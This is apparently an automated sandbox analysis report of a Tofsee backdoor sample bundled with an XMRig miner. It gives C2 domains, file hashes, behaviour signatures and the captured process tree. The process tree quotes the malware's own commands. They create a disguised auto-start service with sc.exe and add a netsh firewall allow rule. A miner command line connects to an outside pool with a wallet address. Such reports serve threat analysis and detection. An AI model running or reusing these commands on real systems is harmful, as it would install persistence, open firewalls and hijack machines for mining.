Analysis

  • max time kernel
    153s
  • max time network
    164s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01/12/2022, 08:43

General

  • Target
    file.exe
  • Size 184KB
  • Sample221201-kmltysfb7v
  • SHA256 1ff06d40d9d59c163ae129a5d1ee29993a84c6fe0a40a0c83554c0b772e55ef4
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1564
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\tpzllhmr\
      2⤵
        PID:3060
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\mpyjjffc.exe" C:\Windows\SysWOW64\tpzllhmr\
        2⤵
          PID:4856
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create tpzllhmr binPath= "C:\Windows\SysWOW64\tpzllhmr\mpyjjffc.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1064
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description tpzllhmr "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4200
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start tpzllhmr
          2⤵
          • Launches sc.exe
          PID:3976
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1464
      • C:\Windows\SysWOW64\tpzllhmr\mpyjjffc.exe
        C:\Windows\SysWOW64\tpzllhmr\mpyjjffc.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2824
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4568
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4080

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            mpyjjffc.exe

            • Path C:\Users\Admin\AppData\Local\Temp\mpyjjffc.exe
            • Size 11.2MB
            • SHA256 0b1e10c542248e060f06285708839f3c2e9357854ce403b03bdf98e990550c17
            • MD5 SHA1 SHA512 SSDEEP

            mpyjjffc.exe

            • Path C:\Windows\SysWOW64\tpzllhmr\mpyjjffc.exe
            • Size 11.2MB
            • SHA256 0b1e10c542248e060f06285708839f3c2e9357854ce403b03bdf98e990550c17
            • MD5 SHA1 SHA512 SSDEEP

            memory/1564-143-0x0000000000809000-0x000000000081A000-memory.dmp

            memory/1564-133-0x00000000005B0000-0x00000000005C3000-memory.dmp

            memory/1564-134-0x0000000000400000-0x0000000000464000-memory.dmp

            memory/1564-132-0x0000000000809000-0x000000000081A000-memory.dmp

            memory/1564-144-0x0000000000400000-0x0000000000464000-memory.dmp

            memory/2824-148-0x0000000000400000-0x0000000000464000-memory.dmp

            memory/2824-147-0x0000000000813000-0x0000000000823000-memory.dmp

            memory/4080-172-0x0000000000C40000-0x0000000000D31000-memory.dmp

            memory/4080-177-0x0000000000C40000-0x0000000000D31000-memory.dmp

            memory/4568-146-0x0000000000BD0000-0x0000000000BE5000-memory.dmp

            memory/4568-151-0x0000000000BD0000-0x0000000000BE5000-memory.dmp

            memory/4568-152-0x0000000000BD0000-0x0000000000BE5000-memory.dmp

            memory/4568-153-0x0000000002B00000-0x0000000002D0F000-memory.dmp

            memory/4568-156-0x0000000000DF0000-0x0000000000DF6000-memory.dmp

            memory/4568-159-0x00000000021A0000-0x00000000021B0000-memory.dmp

            memory/4568-162-0x00000000021F0000-0x00000000021F5000-memory.dmp

            memory/4568-165-0x0000000007C00000-0x000000000800B000-memory.dmp

            memory/4568-168-0x0000000002FF0000-0x0000000002FF7000-memory.dmp

            memory/4568-150-0x0000000000BD0000-0x0000000000BE5000-memory.dmp